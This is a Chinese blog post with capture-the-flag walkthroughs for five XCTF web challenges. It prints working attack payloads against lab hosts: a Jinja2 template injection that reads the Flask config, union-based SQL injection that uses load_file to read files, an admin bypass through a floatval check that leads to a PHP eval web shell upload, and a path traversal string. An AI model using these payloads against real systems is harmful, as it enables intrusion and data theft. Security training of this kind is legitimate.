XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

admin 2023年5月29日09:04:29评论27 views字数 3156阅读10分31秒阅读模式

前言:

  很久没给师傅们分享些CTF解题思路了,今天给大家带来一些比较有代表思路的WEB题供师傅们参考下思路

                                 XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

1,shrine:

  首先打开题目,发现一堆代码:

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

直接右键查看源码,省的整理。

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!复制到netpade++审计

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

第十七行"/shrine/<path:shrine>" 接受一个路径参数 "shrine",并将其作为 Jinja2 模板渲染,所以极有可能存在模板注入去测试下:

路径就是代码中的/shrine下接受参数,所以输入:

http://61.147.171.105:53283/shrine/{{6*6*6}}

测试能否被解析到:

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

成功回显216存在模板注入。

但是在后面的代码中将config和self设置为了黑名单

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

传值为None,直接读取app.config['FLAG']会被过滤,所以可以读取全局变量从而间接读取到flag的值!

http://61.147.171.105:53283/shrine/%7B%7Burl_for.__globals__%7D%7D

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

然后利用python对象之间的引用关系来调用被禁用的函数对象

http://61.147.171.105:53283/shrine/%7B%7Burl_for.__globals__['current_app'].config['FLAG']%7D%7D

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

FLAG=flag{shrine_is_good_ssti}

2,simple_js:

打开题目要求输入密码

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

不知道密码,但是看题目提示就是要审计js代码了,看看js代码:

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

发现16进制码,然后看上面几个数字

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

心里的思路是转换成10进制然后应该就能拿到密码:

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

用python转一下10进制拿到一串密码去输入试试!

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

密码输入正确,但是是假FLAG嘲讽用的,然后这种开放题思路比较清奇花某不是很有思路,就去看了下别的师傅的wp才指定原来是得转换成ASCII码,ASCII码直接就是FLAG,所以密码输入是个幌子根本就不需要输入密码..........

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

string="x35x35x2cx35x36x2cx35x34x2cx37x39x2cx31x31x35x2cx36x39x2cx31x31x34x2cx31x31x36x2cx31x30x37x2cx34x39x2cx35x30">>> s=string.split(",")>>> c="">>> for i in s:...     i = chr(int(i))...     c=c+i...>>> print(c)

用python继续写转换代码成功拿到FLAG,按题目要求写FLAG:

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

FLAG=Cyberpeace{786OsErtk12}

3,fakebook:

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

打开题目发现存在一个登录点和注册点,先去登录点测测有没有任意用户登录之类的:

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

登录失败,去利用下注册点:XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!成功注册,发现username可点击:XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

点击后发现URL上存在参数?no=1

http://61.147.171.105:62246/view.php?no=1

尝试越权将?no=1改为?no=2:

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

报错了,但是得到了绝对路径。

再次对此参数尝试sql注入:

?no=1 and 1=1--+

?no=1 and 1=2--+

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

1=2时报错,存在sql注入

随后就是正常的sql注入花某节约时间直接放注入参数:

http://61.147.171.105:62246/view.php?no=1%20order%20by%205--+

?no=1 order by 5--+

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

http://61.147.171.105:62246/view.php?no=1%20and%201=2%20union++select%201,2,3,4--+

?no=1 and 1=2 union++select 1,2,3,4--+

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!随后就结合绝对路径/var/www/html/view.php猜测flag文件路径为:/var/www/html/flag.php,而数据库就算mssql所以直接尝load_file

读取文件

union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+

http://61.147.171.105:62246/view.php?no=1%20and%201=2%20union/**/select%201,load_file(%22/var/www/html/flag.php%22),3,4--+

然后发现无回显

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

但是查看源码:

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

发现flag,藏起来了。

FLAG=flag{c1e552fdf77049fabf65168f22f7aeab}

4,ics-07:

  打开题目,发现只有【项目管理】界面点击有反应:

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

在左下角点击“view-source”发现给出的源码

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

整理一下源码供发现三段:

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

逐个审计下:

第一段:

检查是否设置了 GET 参数 page。如果没有设置,就会显示当前文件的源代码并终止程序。如果设置了 page 参数,但不是 index.php,就会包含一个名为 flag.php 的文件。如果 page 参数是 index.php,就会重定向到 flag.php。

第二段:

首先检查用户是否已经登录为管理员,如果是,则从 POST 请求中获取文件内容和文件名,并将文件保存到 "backup/" 目录下

第三段:

有SQL注入漏洞,使用了未经过滤的 $_GET[id] 变量拼接 SQL 语句,攻击者可以通过构造恶意的输入,绕过身份验证,用了 floatval 函数将 $_GET[id] 转换为浮点数,但是在比较时使用了字符串 '1',这会导致类型转换错误,攻击者可以利用这个漏洞绕过身份验证,将 $_SESSION['admin'] 设置为 True,这就是说任何人都可以通过访问这个页面来获取管理员权限,而当浮点不为1和最后一位为9时会查询,所以要1-9或者1ll9之类的绕过。

所以直接构造pyload:/index.php?page=flag.php&id=1-9&submit

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

有了,然后再通过第二段代码审计执行文件写入:

con=<?php @eval($_POST[fl]) ?>&file=xxx.php/1.php/..

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

值得注意的是这块file写入时的:file=xxx.php/1.php/..结合了解析漏洞,直接写入会被过滤,而配合解析漏洞也是题目描述提示的:

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

然后通过审计一二段代码,直接目录遍历:/uploaded/backup

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

蚁剑连接拿到flag

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

FLAG=cyberpeace{c4c0ee17bb51a571323ffb3edc04a087}

5,warmup:

  打开题目发现图片:

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

直接查看源码:

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

审计发现【source.php】去访问试试:

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

拿到源码,审计后有发现【hint.php】页面:

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

返回到【source.php】的源码中审计一下:

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

主要功能是根据传入的参数加载指定的文件,但是在加载文件之前会进行一些安全性检查。如果传入的参数不在白名单中,或者传入的参数不是字符串类型,或者传入的参数中包含非法字符,就会拒绝加载文件并输出一张图片,图片就是开头看见的那张。

  这样一来思路基本明确了,传参拿flag,flag路径是:

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

再【hint.php】路径下所以参数应该就是传给hint.php的,然后再根据代码审计到的:

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

这两块内容基本就能确定传参?file了,所以直接构造payload:

/source.php?file=hint.php?/…/…/…/…/…/…/ffffllllaaaaggggg

XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

FLAG=flag{25e7bce6325c4e0c983fb97297ac6e5a}

原文始发于微信公众号(flower安全混子):XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月29日09:04:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XCTF高手进阶WEB5题思路总结,助力师傅们快速成为韩商言!http://cn-sec.com/archives/1766340.html

发表评论

匿名网友 填写信息